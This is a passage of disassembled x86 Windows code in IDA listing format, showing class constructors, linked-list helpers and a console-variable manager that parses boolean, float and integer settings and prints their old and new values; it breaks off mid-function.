var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B0B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B0B0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B170	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
sub_40B170	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B210	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40B210	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B390	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B390	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B430	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B520	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B5A1
		mov	edi, [esp+10h+arg_0]


loc_40B566:				; CODE XREF: sub_40B520+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B5AB
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B566


loc_40B5A1:				; CODE XREF: sub_40B520+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B5AB:				; CODE XREF: sub_40B520+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B520	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B5F0:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438BF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B680	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B6D1
		mov	byte ptr [esi+19h], 1


loc_40B6D1:				; CODE XREF: sub_40B680+4Bj
		pop	esi
		retn	8
sub_40B680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B700	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B755
		mov	byte ptr [esi+19h], 1


loc_40B755:				; CODE XREF: sub_40B700+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B790:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B7E1
		mov	byte ptr [esi+19h], 1


loc_40B7E1:				; CODE XREF: ___:0040B7DBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B840
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B840:				; CODE XREF: ___:0040B818j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B880:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B8B0
		mov	byte ptr [esi+19h], 1


loc_40B8B0:				; CODE XREF: ___:0040B8AAj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BA12
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA0B


loc_40B976:				; CODE XREF: ___:0040BA05j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 28302B0h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40B976


loc_40BA0B:				; CODE XREF: ___:0040B970j
		mov	al, 1
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BA12:				; CODE XREF: ___:0040B907j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BAA5
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: ___:0040BA24j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BB98
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: ___:0040BA60j
					; ___:0040BAB7j ...
		xor	al, al


loc_40BB9A:				; CODE XREF: ___:0040BA0Dj
					; ___:0040BAA0j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BC70	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BC70	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BCB0	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
sub_40BCB0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD20	proc near		; CODE XREF: sub_401451j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD60	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BD90	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDD0	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BDD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE20	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE60	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BE60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE90	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BE90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BEC0	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40BFBA


loc_40BF78:				; CODE XREF: sub_40BF60+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40BF78
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40BF60+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFF0	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40BFF0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C005
		mov	edi, esi


loc_40C005:				; CODE XREF: ___:0040C001j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C01A
		mov	edi, esi


loc_40C01A:				; CODE XREF: ___:0040C016j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C040	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
